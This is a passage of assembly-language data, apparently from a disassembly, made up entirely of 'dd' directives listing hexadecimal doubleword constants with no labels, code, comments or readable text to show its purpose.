86ABF5EAh, 0BF243899h, 2500B8F2h, 90A8043Dh, 0F54C00E1h dd 0D4E0AEA9h, 53005F9Fh, 0DF6B7AFFh, 0C31EE9h, 0A2D2DC3Bh dd 0F47D7C76h, 276EBC00h, 1662E31Ah, 73F53E96h, 0C659158Fh dd 1500ACA9h, 0F63E91ADh, 0C7D53D0Ah, 0BA80E816h, 5097E118h dd 11650002h, 5D55041Dh, 0A7008359h, 0C01E38FBh, 18D17D6Ch dd 39C71210h, 0F00062DCh, 9B2B190Bh, 8891EEh, 0B0DA84B9h dd 427A0DCAh, 81A0070Eh, 0F53CA0FBh, 1FDA72Fh, 0FE50BD4Bh dd 40EBFA27h, 0BA28CA80h, 380025FCh, 8A97D4E9h, 49F934B8h dd 738F812h, 408CC49Dh, 0C6E70B59h, 9500AAE1h, 0AF034CB2h dd 779AB0h, 5A90F949h, 0F60E8D8Ch, 40E6AC00h, 2E3FEE5h dd 9D4800FBh, 0B99CAB3Bh, 0C10017E9h, 4EB645D1h, 7DE7413h dd 7368BC12h, 48802903h, 42449D95h, 9EE2F01h, 0E5B85C6Bh dd 0BF23EC50h, 0C8AF1817h, 7BC1A5Ah, 3D025100h, 9C4D5F64h dd 603200BBh, 2BA863B4h, 9917B22Ch, 4C03E769h, 0B0B7A253h dd 13275F62h, 40A61576h, 0DC09768h, 854CDCFh, 0A2051CB4h dd 0BD8205B0h, 0E0329CC2h, 0FD7E58h, 106E460Dh, 11E1413Fh dd 0DD0012E4h, 0F502BAAEh, 687754h, 186B2688h, 0FDDFCDA8h dd 0F4E72100h, 608A3D13h, 2C553915h, 796DEF80h, 83A5E285h dd 0BB288700h, 0E7360A34h, 0D3C10011h, 0FFF4E677h, 43770537h dd 21F3F900h, 0EDEBD40Ch, 108B04Fh, 3C1EAF5Dh, 6035B6BBh dd 0DD0CFF90h, 0E13BB131h, 9C92001Fh, 0C91017D4h, 0CC003A4Ah dd 27B11850h, 5D24F4h, 0F95767F3h, 89A5E32Ah, 0DA007677h dd 21587778h, 1C87237Dh, 406A7C35h, 69BCFD4Eh, 8B6FA25Dh dd 0A547BEA0h, 0EF604F2Ah, 0C08ADBE3h, 0FA079F18h, 277088C2h dd 39527001h, 0FE2B24A6h, 38EC37CCh, 7B609Bh, 67253CA0h dd 82E8696Ch, 5D00D572h, 0D1F42FD7h, 59C91676h, 220390E4h dd 3528051h, 349E4000h, 0A48E713h, 0FBB80037h, 19BF6B17h dd 0CB07AFE0h, 0B2B95377h, 0B3B40751h, 268DF9F4h, 602199h dd 1D047C0Dh, 10C022ECh, 0B1923723h, 73280CA7h, 0FF297B11h dd 0BEE84309h, 0B0182031h, 3B387CC5h, 9C981890h, 4F70296Ch dd 94CE600h, 0C8A5121Eh, 9A1A0084h, 6DF2E860h, 410092A4h dd 0CA32E927h, 0C856CBh, 5BB22A7Ch, 0FBB317C5h, 9BED9100h dd 113BCF4Fh, 1938003Eh, 44F37052h, 13002F30h, 0A60CC82Bh dd 3BEDAE07h, 0CA8115CDh, 2F979C21h, 4B4080B0h, 0A3099A23h dd 8010DDB5h, 116A15B1h, 5800070Dh, 0FC2CF6A1h, 788FE641h dd 9CC10090h, 9A3BA708h, 0A6038567h, 3E51AA73h, 8DBAB887h dd 1714002Ah, 89029AC3h, 38705935h, 0C5FCDB0Fh, 0ADF340EAh dd 681156h, 9BA848B6h, 0D0B41DCFh, 427B1200h, 4DCC1B71h dd 8D71ECh, 97C8F28Bh, 0F3DEDDEEh, 0A2984A1Dh, 203DCA02h dd 8EB0A0C4h, 0CF2F21h, 5B865DCEh, 0FF97249h, 0C5544F00h dd 622683C7h, 1892EA9Ch, 1ACE1F5Eh, 0B2254AA2h, 62B420A8h dd 5CC2E8AFh, 0CE032D26h, 5BC7539Eh, 0CFC33FC0h, 0E7F3C73h dd 516BF04h, 98C7A954h, 6DB2C4D0h, 7E5700EAh, 8B96E7BAh dd 4A74D5FDh, 89F14300h, 0C15CAA54h, 1AD8177Ah, 12EE00D2h dd 0E9286670h, 5EE67900h, 4404CD03h, 78B10069h, 94A19C52h dd 0DC006F01h, 2154F940h, 31145BCh, 83D6BDBFh, 0D188805Fh dd 0F407758Ch, 63943FE8h, 0CC4E99D0h, 0E5821C88h, 0C514070h dd 8FB0BBE4h, 0DC500526h, 46924981h, 9C60E01Bh, 0EFB5008Dh dd 0C13D3847h, 0A704FB43h, 0AB0445F5h, 0D4BD80A2h, 0ED04C872h dd 7FE1495Ch, 794BE4C0h, 44889466h, 27983253h, 0B4CD41C0h dd 0E901399h, 343EDA10h, 8B5440E1h, 0CCACEC6Eh, 263F6200h dd 0BEA91063h, 7CCD188Dh, 0D3C839EDh, 0C9216E0Ch, 0F0197173h dd 0E0A94199h, 909CA49h, 40CFE1E3h, 12760E9Ch, 913D2696h dd 40366EBCh, 9DA4718h, 0A274287Ch, 32003F75h, 7B7F70E9h dd 0A17326h, 5B62AF98h, 94ECAD97h, 4146D3Fh, 228BFDAh dd 0AB0080A3h, 0CFD73289h, 0E10033BAh, 7A13265Ah, 3CD66A23h dd 0A29E3A92h, 8811C17Ch, 565C4CE0h, 485C894h, 56A61385h dd 0BDB4F820h, 9F801DD7h, 9B7B03DAh, 7A0A221h, 4BE031A7h dd 3900EAFAh, 0F411577h, 16E7CE3Dh, 1E284AD2h, 0CAB20082h dd 0F7F9F025h, 1C25D890h, 7644A7BEh, 12B06110h, 354A1D51h dd 0CA948F1Dh, 1E00A7EEh, 97D9DEA4h, 0E25D20C0h, 53D81BF8h dd 88220BFh, 0F81B97C9h dd 80D461C6h, 0B218E62Fh, 0FCE9A385h, 156401F6h, 20091A4Eh dd 82EFF26h, 9D8008C1h, 972C640Eh, 665809ACh, 4B83F23Ch dd 0CAC0FB03h, 6514FCB7h, 9FA04A63h, 90B66A00h, 0CEF6AEh dd 3D165D0Dh, 343C7113h, 0BC00B498h, 0AE638135h, 749DA618h dd 58480FD3h, 8383343Fh, 7EF8BAD5h, 0BD075E35h, 4D614098h dd 0DDE7EAB1h, 0F3283AF7h, 7ECDA20Ch, 75762111h, 67935B01h dd 2FFB6813h, 641C088Ch, 8C40DA20h, 83BE00D4h, 0EA3EB644h dd 1407CD72h, 0EC1135C9h, 63809Ch, 9BB55BDFh, 0F015296Ch dd 0E5097463h, 0FF203933h, 0C77FB503h, 50EF8919h, 0B069779h dd 0E113851Eh, 72D01883h, 0C7100011h, 2B1FD268h, 0D30184ECh dd 0F270AF9Eh, 6048A463h, 2389EC97h, 22113793h, 7E6F3C00h dd 16F30CD8h, 875E3101h, 6273EF76h, 0FEB79C50h, 0C836009Fh dd 69DD213Bh, 4200D4BCh, 0A8B53527h, 99084Ch, 1D2DDED9h dd 6AD2766Bh, 0D789AF00h, 651BC406h, 79511B64h, 6BF3E9F5h dd 20990FC1h, 307DE33h, 0ED0EABC8h, 88D4C1BFh, 0D8834F3Dh dd 982F016h, 78E3F003h, 0E0BBFE45h, 0AD3C9AAh, 0F37ACB76h dd 800F11B4h, 6C89B585h, 0DC458C39h, 5FC86FF9h, 0A54E07DDh dd 118E782h, 4084F3C7h, 721278ACh, 1A813180h, 383F578Ch dd 0B0E1E640h, 0FD129A00h, 35C0F34Fh, 6F9CE850h, 0E9202080h dd 8F0339B0h, 81890A38h, 1CE53B3Ah, 0A852CC52h, 59CB063h dd 3065F866h, 4321F078h, 0E70180A0h, 74C9CBC6h, 898B3DEh dd 0A83A214Ah, 2E18A3B8h, 8479AC4Ch, 20240FABh, 61821C50h dd 4875CDh, 67076D7Dh, 0AFF3CE2Dh, 0FC5C45C5h, 410D39C0h dd 557269h, 6BE9E6C3h, 357C0537h, 0E31DB601h, 337401DBh dd 88BD7987h, 609250F2h, 0C50011D1h, 0EBE67BC4h, 2AAC6506h dd 5B4769Dh, 0F26B239Fh, 78478057h, 94A8193Fh, 9B54A616h dd 0C001AADCh, 0BF476FAFh, 0F0590AEFh, 0DD22FC03h, 6879C801h dd 0BA006C6Ah, 8019C691h, 2C1017E9h, 7CC0B7C1h, 6AA4A113h dd 80089918h, 0CFA3C6E2h, 0A1A505F1h, 0F8043B80h, 5D00271Ah dd 28531DFBh, 0D0CACE0Ch, 1C9A094h, 3AD4F295h, 47499C25h dd 0B487C0DCh, 0BD120565h, 5849E278h, 73142140h, 0D4256AFFh dd 6DC5B817h, 3223502Bh, 82ACCB01h, 0A540502Dh, 194FDADDh dd 5089FAEAh, 89A1863h, 0BBC6E180h, 3C4048C4h, 38B480A2h dd 8AF1D600h, 0CE3E98CAh, 3B9C03AAh, 2E6C4770h, 0E0053383h dd 0A0D892F5h, 0AB3F8001h, 4980C5F4h, 3B4849DEh, 0CF06E941h dd 0C73C7A96h, 0B14C2428h, 26DF8048h, 0C539504h, 9402E900h dd 7FAAB591h, 0A0A2061Dh, 51D0D519h, 66766324h, 0CD784318h dd 8CF0207Ah, 190BECA1h, 109DB5CCh, 0C814596Ch, 6BB182E6h dd 7B6024B5h, 0BF013BF2h, 700F4A06h, 2834505Ah, 0D1B89161h dd 15A1847h, 64FF8AE5h, 0F0328498h, 0C23068C6h, 0C8BE584Ch dd 58F848B6h, 0B4EA6406h, 0DF0161E3h, 0FF7E4178h, 2094E2B2h dd 0AE00E08Ah, 0CB5F286Bh, 65009F38h, 0DB68920Ah, 14EA0EA0h dd 907D5190h, 0E0940292h, 70CB6B64h, 0DEDB61E0h, 12C7F303h dd 0E4860E23h, 14F4A88Ch, 0A8F0CC2Ch, 0CF7A9702h, 0D0844868h dd 20A84FABh, 0F28125F9h, 0D79D3D13h, 0DADC2080h, 0E43A5141h dd 450EADE6h, 0F87EEF79h, 136C74B8h, 23E71469h, 0B09382E4h dd 9791F9D0h, 7798E21Ah, 10206080h, 18D50084h, 416C7F63h dd 883F5115h, 0E02A2605h, 0E171CD1Fh, 0B433F36Dh, 2F30ADA2h dd 0E6F81912h, 0E8DD91F2h, 3707669Eh, 946BB2E4h, 0D93967h dd 131FFB5Ah, 5CF81921h, 487530AEh, 0B004E238h, 50051299h dd 0FA20A432h, 6F1B10Ah, 4CAA8208h, 0EA1AE891h, 87C97FBEh dd 18EDB0A4h, 9078A012h, 24253E94h, 84706448h, 1ABF4AAh dd 0E742676h, 11DC18A6h, 0C2728EA5h, 315F9386h, 8A20174Fh dd 4CFEDC7Eh, 512E8BF0h, 807135E0h, 90BE5B74h, 7B52C115h dd 2DE300B4h, 70C6E060h, 0C451F7B2h, 8114F192h, 155DACh dd 283C5960h, 0E809413h, 708F189Fh, 28264BC0h, 0B8B833ECh dd 2940E820h, 2284B2EAh, 0BEF838h, 22793874h, 0C9421973h dd 99D53200h, 0BD33FA7Dh, 0DB6905B2h, 0CE35D45Fh, 0C02888BCh dd 4B1C51E0h, 951C52FAh, 6D051741h, 88E91CEh, 2DC048C8h dd 1ADF27Ah, 4986531h, 60EB3C94h, 15203648h, 68781485h dd 0CB188425h, 58A8914Dh, 10502400h, 1402D07Dh, 0B9F55818h dd 0ACCCAA0Ah, 3B9D1DF8h, 644850h, 3C93EE7Ah, 0CFC65DF7h dd 52C06C0Eh, 0B8BE842Bh, 0FC59E090h, 315F000Dh, 74F33282h dd 5432CC91h, 60E44080h, 0B50CE98h, 1685473Dh, 33E13482h dd 82F25706h, 59DB00A8h, 1C2E8BA4h, 6934A3Dh, 8087971Eh dd 0C1AAEB00h, 2ABE76ECh, 98FB2461h, 4E467448h, 0C8FE4600h dd 93AA27D5h, 18F46C00h, 907919DFh, 0E840EBB4h, 0A09EF0B2h dd 24167088h, 448025E4h, 0B07363A8h, 8C97935Dh, 5404444h dd 740E7E8Bh, 8EA840F7h, 667D495Eh, 0F0CA4525h, 4CB77AAEh dd 6A0E4474h, 0E040EBC7h, 16C98020h, 9C907492h, 98779820h dd 80707280h, 59CEEF78h, 24A8B463h, 5340B0E6h, 1CA4640Ah dd 2ECD6570h, 8098497Ch, 700F708h, 0F9956F32h, 1DF1EDBDh dd 47C74C96h, 79B404AAh, 4E27D401h, 3C082D7Ch, 53A6009Fh dd 78DEFEFAh, 0E861022Fh, 0D02D0C6Dh, 0D4E60848h, 6CB98812h dd 306E5092h, 9C08B0E3h, 64500D12h, 0C0140C8h, 12C0BB1h dd 2B94DD7Bh, 0F82FD4B0h, 0E4984DC2h, 8796061Ah, 0C1FC60F9h dd 73F6060Ch, 19187051h, 0F811EA24h, 7C9D0449h, 30057CC8h dd 51A82664h, 98ABF4DFh, 0FAD0BBE8h, 0B002F04Ah, 239F580h dd 0A740C116h, 0A4B14AC2h, 85151039h, 44925C76h, 3844BC3Ch dd 0AE742400h, 103BC118h, 98D8D468h, 357B410h, 0F95AB297h dd 0EF900F49h, 0CF79BDDh, 80201447h, 63E25F05h, 20383C05h dd 864AFAFFh, 0E900A4A6h, 686C282Eh, 20ECEECh, 42AD523Ch dd 6065F282h, 9F604EE4h, 0D5002697h, 7691B323h, 955175h dd 18C1174Eh, 364FEF3h, 93B2D60Ch, 0B938FAh, 794410CDh dd 0B38CCB6Ah, 4A16A100h, 91D46177h, 0BC201B4h, 0E0C954Bh dd 0B9E9FCA2h, 0DCA4DA00h, 769A7B04h, 77B80072h, 17EF46C2h dd 0E90035DDh, 0F141D14Ah, 8D58D9h, 0B49B8BFFh, 0B3557016h dd 0B033Dh, 0B1DA837Ah, 179E71h, 2733D178h, 703AF9E4h dd 0C0D481Ch, 1B14BB80h, 51359Ah, 0D5E8A54Ch, 27E00868h dd 0E380D21Dh, 60A4B08Fh, 1FEC53Bh, 5C071E4Eh, 271E878Ch dd 0E367D0ADh, 337E8326h, 891F1C00h, 29EA50A7h, 0AFE23E43h dd 0DB2A8202h, 0FD4885h, 0F4D619DEh, 0E05C003Ah, 0FAD11740h dd 6E00E64Dh, 7049F57Ah, 3C383h, 0A01ABB23h, 5647DB6Ah dd 133F82B0h, 55F3800Ch, 11B01C85h, 0AFE803EAh, 3A989C26h dd 7C381900h, 0A3A94AD7h, 5D937665h, 2600C8C6h, 0FEC26DF3h dd 9E004C04h, 0FD4EB005h, 987BE0h, 28D93361h, 0A47668FBh dd 36AEA200h, 65DD0A4Dh, 0AFE40411h, 0D05F2912h, 73B26C38h dd 3BEC107h, 0CC504A22h, 5D59C4h, 486EFA8Fh, 4BAD3B93h dd 17746576h, 0F637BF00h, 2CB3DC2Eh, 63B100F8h, 9F967008h dd 0D600795Eh, 358936AFh, 0F7BB07h, 0ADDB6641h, 7C24DDEDh dd 0B6D18403h, 0A8CFA043h, 0C15439h, 20B02291h, 8BA573D8h dd 803A2C39h, 5B9E1C8Eh, 3CC35Dh, 0FFD8F70Dh, 14EBF59Ch dd 410F1500h, 0B36DA4B8h dd 0E2490028h, 33732F51h, 9C0038A9h, 0BC45C9F7h, 822E34h dd 1FFCC79Dh, 73EFB88Ah, 15118D09h, 5609F4h, 74B4BCF0h dd 18F70217h, 4FA212B9h, 98F188h, 0DD3396D6h, 0D0544E23h dd 0F30014C4h, 48DED936h, 28195D9Ah, 0A1B85B6Fh, 41ED17C0h dd 229F0D3h, 5E2A1472h, 393ADAE3h, 37F60380h, 0FA3D76BFh dd 0D08939h, 16F4916Fh, 0D8AFE7h, 0B2793067h, 7048FD21h dd 3F006EECh, 0A46D8477h, 4445837h, 65C710E5h, 0C518D06Ah dd 960E41D2h, 9D846Dh, 0E3DA270Eh, 154097C1h, 7B004B40h dd 0AB13B3CDh, 1F902Ah, 991DE7A0h, 0D08857F8h, 0F202A878h dd 0F9B3C532h, 3530484Bh, 0C9730045h, 91888085h, 0E4000416h dd 0F74FFC1Ah, 0F6ADDC2Ah, 0AC353F8Ah, 0CE730200h, 0C711085Bh dd 0F0413626h, 2BD2D080h, 38AFE90h, 0B506A489h, 0B6C09642h dd 5402B0A9h, 6BC759DAh, 63B8403Bh, 0B42B00CAh, 0B9481C8Fh dd 39009E6Dh, 6A0EFF1Bh, 51FBB5h, 0D30A38F7h, 0B2CA30A5h dd 811A040Eh, 403EEF4Eh, 8253C172h, 7C960049h, 0FD8E3C0Bh dd 0EB48EF99h, 3EF00F3Fh, 47007C50h, 9B14CBF5h, 0A223000Ch dd 0B8DA577Dh, 0ED06EE63h, 9F6D4F90h, 5F8D0011h, 99A3EBD5h dd 0D71ED141h, 0AC0458Bh, 0FB58A720h, 3FAB30AFh, 2BF20406h dd 0EB602900h, 0C8B8784Fh, 63860054h, 0E80150CBh, 0C30EF747h dd 0F3FEA1B9h, 1C9230Eh, 7B5EABAEh, 0F54E9C40h, 5C505CE5h dd 80A750h, 5CAD0B4Dh, 72234A75h, 0DD6D6A00h, 0A3020804h dd 937854h, 11E09655h, 0B038018Eh, 0B5768900h, 5D2431Dh dd 79BD0050h, 83EE5E75h, 0A2E6A3B6h, 0F9371E01h, 2BD4B27Dh dd 8B21FCh, 7387FD5h, 5B8E10A6h, 1F375407h, 4FB37694h dd 6274E042h, 164F6CEh, 0BC19C4D9h, 407897D0h, 0F20258F6h dd 416BAF8h, 5840D812h, 747241D4h, 0E0B10A19h, 0F83C22h dd 0B8E7182Eh, 9F48401Ch, 6F2D003Ch, 0C26A8127h, 0C1DD00AFh dd 0CC546C2Ch, 17F85E7h, 7C304800h, 0A8ECC40Ch, 68B609CFh dd 5C20DF6Ch, 9C9814DBh, 0C6032892h, 93807ECFh, 73210357h dd 0F12025BCh, 4B689918h, 0A12AB4h, 0BF9310ECh, 0F618B8F2h dd 0EA430A00h, 7A7FF586h, 18397C4Ah, 4EB61A69h, 2900885Ch dd 0BDC51371h, 38511Eh, 0DF426B1h, 0AFA29584h, 0F8002D7Eh dd 639A97Eh, 0B252A5h, 9FA03751h, 7C3E714Ch, 62694009h dd 0DE1027CDh, 0FF45823h, 0E02A6106h, 7FB15D60h, 0EE009FBFh dd 0B0314DBAh, 2E232774h, 112097h, 8671D463h, 961D1CA0h dd 530015A3h, 0A93430A4h, 1DB0090Bh, 0D00E74CCh, 0BE3F87FEh dd 3840105Ah, 0AE006648h, 1694495Dh, 76F815h, 10C9965Eh dd 52FBFAF3h, 0C6299200h, 0EC4DDED2h, 802500D3h, 0EDCA1995h dd 3400465Fh, 87CD5450h, 21BCDCh, 7396A79Bh, 32C34FECh dd 587B4500h, 0AB40F81Fh, 9A721D51h, 0E92FC05Bh, 2E8A4D9Fh dd 89E84700h, 0BE5D43ECh, 0A0100051h, 0D16602B8h, 6E00089Fh dd 3A4AE26Ch, 0FC1AFC8Fh, 976F0E17h, 0E6C0F7AEh, 2FF6FA87h dd 0D5B4703h, 85A79F68h, 2907F8C0h, 16370050h, 8F876521h dd 1100462Eh, 9C89CACCh, 22AFFB9h, 0E7552CA7h, 5DC11305h dd 0B851601Dh, 0EC169F00h, 0B75C7968h, 28C89830h, 8AB2B9h dd 4C23E36Eh, 0CF70F838h, 0C244D300h, 0A5F06DABh, 45B107F3h dd 5039BA5Ch, 80E22DE9h, 66C38203h, 801EE67Dh, 162293D9h dd 6E11E1h, 0D4D2F57Ch, 0DD60D86Fh, 67CF6949h, 40795A25h dd 0F46B7B54h, 373E83Ch, 0FF0BAEFAh, 12B6EDh, 778DBBE8h dd 207F0058h, 89B17010h, 7300B48Ch, 2464FB27h, 0FC18B8Ah dd 32D92FA2h, 6012A880h, 717A8681h, 0F06092Eh, 0C969A000h dd 205EB4h, 0F302F587h, 9B506DB2h, 1C93640Dh, 0A4500274h dd 94F304FCh, 917200C8h, 996C8814h, 0E0A0E7E9h, 10A0B0FBh dd 7500B8BEh, 0DCC7DB7Ch, 3AC80BC6h, 9187B4F8h, 0C9E37913h dd 8F18A988h, 9FFF74E1h, 25EF1DC8h, 5D3FAC02h, 140CBCC2h dd 0B83CE571h, 131F0AADh, 7645245Dh, 42804838h, 84E60074h dd 61D489BDh, 1907295h, 28014987h, 0F0C03EECh, 7A0EC21Fh dd 7DF8B5ACh, 9113A840h, 24FA72Bh, 2C9B625Ch, 8B60AD05h dd 0DE033130h, 0E07C69D4h, 0EC3F8826h, 1EFFFE60h, 2B53C05h dd 9FC2C8B1h, 0F5DA99E0h, 77BAB3Fh, 0F12AEB33h, 142B1730h dd 0C9E8137Eh, 0B3DB0025h, 29ED3E20h, 0E60092E8h, 0A91D662Fh dd 30DB795h, 45563CAh, 0D1988EF1h, 0D40026EBh, 0B792FC30h dd 1FFE1249h, 85AB0718h, 0C3DD9CC2h, 0F7D7411Ch, 53A660A4h dd 0E2050A10h, 0D2C0589Ah, 74B9D800h, 5DE76F9Fh, 61008823h dd 55DD7615h, 0A276D657h, 0C0141900h, 9635582Bh, 132C0095h dd 24CA69AFh, 0FCEA5C64h, 0F9411C00h, 0BC5BB749h, 3B1B3904h dd 7A1AB400h, 0E176C1C5h, 0F455D000h, 49B678B2h, 45BE005Bh dd 2FCCD404h, 0FAA0F991h, 55003CE9h, 0AD714DFCh, 98BFC944h dd 935C0064h, 0CF10522Dh, 0EB0054E6h, 0AA468725h, 7CEA02h dd 0F54CCB65h, 0F01B4363h, 918D1D00h, 86B9E02Ch, 953C0040h dd 705FA498h, 3D3F7F30h, 16158396h, 0BBA86DFEh, 0A5D48052h dd 397A79h, 9D3A5DB3h, 0A17F2995h, 846FE900h, 0BCCE0313h dd 74650B5Bh, 4800DFA7h, 0EF10B135h, 9A2F3Bh, 9395D11Ah dd 0E2E9488h, 75C44C70h, 53683840h, 1212AF0Ah, 0DC826CA7h dd 3088A002h, 0C23AB188h, 3319AD50h, 0A4826640h, 126F6C13h dd 74710080h, 79880097h, 84BD2FD7h, 0B676E89Dh, 0AA769900h dd 0EDCD7B1Ch, 23092C74h, 0D600BFACh, 847CA01Eh, 0AF0EB23Dh dd 2BEE881Ah, 46A820F8h, 60AE0C51h, 0E65E6615h, 0C400C7BFh dd 0A8BC7D08h, 72D721Ah, 1282281h, 195030DFh, 0D10054C1h dd 9314A1A5h, 0BB7A64h, 2007F1B0h, 1EFD0E85h, 23A6D800h dd 0E57D5140h, 41D90584h, 0D02B886Ch, 9030DF0Ch, 50DBA100h dd 0E98B55E7h, 3EDC0115h, 66AF5997h, 0F444F475h, 80A69A00h dd 8A5A498Eh, 0F8D30054h, 9713F75Fh, 0D1006DF9h, 0CF462952h dd 19B008h, 2315E8FFh, 798267FBh, 1F008B7Bh, 6A5F136Bh dd 0C09CC6h, 32B74F63h, 0B8BD330Bh, 53D50A00h, 740C3FA2h dd 0EBA2A6Ch, 3D0B25BCh, 80A65CA5h, 0DF439783h, 18784500h dd 231EE161h, 88E29Dh, 0CE2DC5F5h, 593B0E52h, 961C8C9Ch dd 8A9110C0h, 487237CAh, 0E9110464h, 0B22C002Fh, 0D250ED77h dd 6CC55DA2h, 687E9907h, 0E26F9097h, 0F9A134EFh, 6632CC7Ah dd 4901887Fh, 0A172CBD6h, 0E3ECF2E8h, 0C4365DA2h, 1BEA3800h dd 21C78F80h, 81A0955Ch, 4B03699Dh, 302084E9h, 637B207Fh dd 7C4A8002h, 501A91A5h, 7AFF0CD8h, 9D91A195h, 4B544A00h dd 0E34C1AB1h, 0CBB650DCh, 4D900BAh, 0F292601Dh, 0AC004DE8h dd 775E6373h, 74E39h, 90A7E4D5h, 172AE95Ah, 0F70F0F79h dd 0E0AF6626h, 78BF15BCh, 35E501CDh, 140B1DDAh, 0C43ED92Fh dd 0C00048A5h, 646289ADh, 4653EEh, 5ECB494h, 245D0C5Ch dd 0C17A4000h, 3D3AD5AAh, 0DF530026h, 0E708B45Bh, 0CF00352Bh dd 8810AF3Fh, 0F56D8D1h, 806E9450h, 84D6D460h, 1B001ABCh dd 5149D9FCh, 4BF6E2D5h, 0CB6B802h, 40A5CA7Dh, 6D8300FEh dd 9AFBA45Fh, 4F00524Ch, 0E6C43194h, 601D9h, 859B0FFh dd 3891288Ch, 0C6E1AE00h, 4353805Dh, 470B0098h, 63976ABh dd 0BB1EBD22h, 5A85F235h, 8407F48Eh, 0FE50D2CCh, 5A562B78h dd 0B4880EDCh, 9A5205C3h dd 254F8800h, 40805558h, 7FFB0054h, 365FEE10h, 97007EC9h dd 0DDE12C1h, 96CC9447h, 925A0E30h, 13007D6Fh, 95C0564Fh dd 7CAFE807h, 0F4909B77h, 250CFAEh, 0F1DB30EBh, 8CE8B5EFh dd 7F0792A7h, 407BC9CDh, 0EF02937h, 1E6F1F7Ah, 40F2B0A9h dd 0ADB4BC48h, 0FB07F0E6h, 9D7EFC8Ch, 0E6C559FCh, 2C291DF9h dd 368AE30h, 58EAB095h, 0DBF61A80h, 4B617A3Eh, 3080A8D4h dd 0CCE38C5h, 52B30D0Fh, 64243350h, 1D814CE1h, 3AA18534h dd 0A4991180h, 6B15BBDDh, 302C6F26h, 9739F880h, 33CF01h dd 9332FA7Bh, 14C9A25Fh, 92847F12h, 77A36C41h, 63C8D967h dd 539F3734h, 0B0E3A719h, 9C2BF80Fh, 22D6162Ch, 74910201h dd 60F821B1h, 5C7F5DC2h, 0C0DC2Bh, 0AD43FC14h, 0C892B310h dd 1C4FC000h, 0F15C139Ch, 708B2634h, 14D300F7h, 924E0BF4h dd 0A401D87Dh, 0F09650BFh, 3EF4948Ah, 678700DFh, 0ED78B9C2h dd 8C008E2Ch, 0CC2414A9h, 7F4640E9h, 83160070h, 32C9BC91h dd 0B1F85BB4h, 0E6779700h, 0F619D5B2h, 734B1F4Ch, 76E48045h dd 0BB524DEEh, 6B000976h, 932EC0D0h, 72CBAC50h, 77D40F14h dd 61274FF0h, 9FAAFDh, 630857F1h, 5D001731h, 5F67C390h dd 7F6187Fh, 0A03CC4E7h, 0BD39812Ah, 0EC59E153h, 26601C8Ch dd 3D638D78h, 1FB005Eh, 4DFD344Eh, 8300E6BAh, 7C41EC98h dd 4B7504Ah, 88B5175Eh, 0D54CF0A8h, 0DDED0307h, 0C1E0334Bh dd 0E68F81Ch, 20406287h, 0E2C8F980h, 19765FD9h, 42462113h dd 1495B080h, 97C0AB47h, 24DABB61h, 52301180h, 0C21CFE1Dh dd 0BCE92528h, 3112800h, 0BDFB3C3Dh, 0DAAE07E1h, 50FACF3Eh dd 4F4DBADCh, 16A6900h, 0DE44E60Dh, 0D0380378h, 2BCE40C7h dd 0EC4D46C1h, 0AE004F20h, 0A819C1E8h, 0EF5886h, 3FDF82D2h dd 0F921BC0Fh, 0FB811C00h, 7588E753h, 6D0E0097h, 843AFEBBh dd 0D4B00315h, 892E501Eh, 0A6C3EBC0h, 0CDA03Dh, 0D177F978h dd 5611182Ch, 30E6F100h, 8658A18Fh, 475C0022h, 0F076B1AAh dd 19731B9Eh, 0EC00034Fh, 0DAA8933Ch, 0D0A16597h, 0F5C08044h dd 0AB0028B6h, 58964279h, 27B3728Bh, 0E848BFF6h, 0A307305Eh dd 0D2EA0AB7h, 644AFCE0h, 0B2701811h, 6F2A68AEh, 80D93E3Eh dd 382CC292h, 1F0C6DF6h, 0C2BD06A3h, 0B071F27Eh, 1F090078h dd 806B0B7Fh, 2D53E504h, 0AA4D18A0h, 4794702Bh, 56191304h dd 0CB47EDFh, 0EF7600BFh, 8814B172h, 5B1512A1h, 201031DFh dd 6C994073h, 8B747974h, 0BAFBDE12h, 3B60CC8h, 0C80B7C75h dd 0C7F0C6DCh, 744BAAF8h, 9103540Fh, 2152D782h, 151904E0h dd 69745009h, 0EEC85214h, 0BA227DA4h, 767C2C14h, 0C6B100ECh dd 78E35BF4h, 420E60CEh, 54BFC155h, 35DE8A10h, 65B3015Ch dd 80BC9B50h, 0B5C09D08h, 5C4CEFh, 6D3A7B89h, 9C901B4Fh dd 93A1F000h, 87EAFEE2h, 27FF25CAh, 0F01E6091h, 0E61F0FABh dd 0DFDDBBCFh, 0A4B44600h, 0D73B3Ch, 6F5324Ah, 0E01DEE82h dd 71799D58h, 0D5CF6500h, 0F3D623DBh, 0D0690007h, 78B8F737h dd 67303F21h, 7E815271h, 9B400F4h, 77C65684h, 0A007D0Dh dd 0D021DA28h, 4002CBh, 0BDD7C10Eh, 6B627E03h, 26EEB200h dd 7B41F584h, 20D1FA4h, 13E70028h, 81E3D53Ah, 11553500h dd 0EA9BB90Bh, 4BC70086h, 6B14579Ch, 7500B712h, 0DDC1CEBDh dd 0A03ED0E6h, 3DAFFDCCh, 0BC8011C9h, 8DB2375Bh, 0D72ED3B7h dd 0B10088C5h, 1502B678h, 0A7EF0265h, 9089B3E0h, 92E5AEE0h dd 7F66DF1Ch, 0FF78CF83h, 0C38AB886h, 94E10076h, 0A8BA208h dd 185EB839h, 0E8F0D440h, 7E4B9B9Eh, 8C2B02D9h, 0EDE035EEh dd 9A248080h, 1500A0B6h, 0F0ECDED7h, 3BEE6Bh, 22DC06E6h dd 354B7323h, 0F9C2711Eh, 0E9011B80h, 9A805C9h, 0CB28F8B2h dd 0C0B64CA0h, 21B83658h, 0E4AD8800h, 0E15F57BAh, 0B1F72CEEh dd 162E1378h, 0D9E84036h, 981FF1BCh, 0DB49700h, 129EFBFEh dd 8BD207F6h, 0D7F97Dh, 0DADDF5A0h, 5BA56C00h, 70CACB81h dd 49C40B48h, 2F80CCF1h, 1203C710h, 5EF61C90h, 0A31C9613h dd 0F4970C81h, 8FE0587Ch, 0AA00764Bh, 379CE412h, 58E1EEDh dd 5990C686h, 5890201h, 34526709h, 3D0D3Ch, 0A0F4350Bh dd 0B828B829h, 0D04F3058h, 477254A0h, 0DDC21500h, 0D8582C51h dd 0D2C11C49h, 0C39400C4h, 0AA33DB0Fh, 2C923498h, 69F7FF09h dd 8BA440E0h, 1E037891h, 62F634h, 0D060C317h, 0AA0751F7h dd 3DB7AA8h, 4A782EB0h, 0E4E500ABh, 0A77E1E9Eh, 481C6975h dd 0A2035367h, 0D8F0B008h, 70CE3DEh, 12E9CF6Ah, 7F7A9041h dd 4075CD47h, 81634600h, 0C1A05B10h, 0C2090102h, 7BFA5C69h dd 87B4410Eh, 4AAC20ACh, 28D52600h, 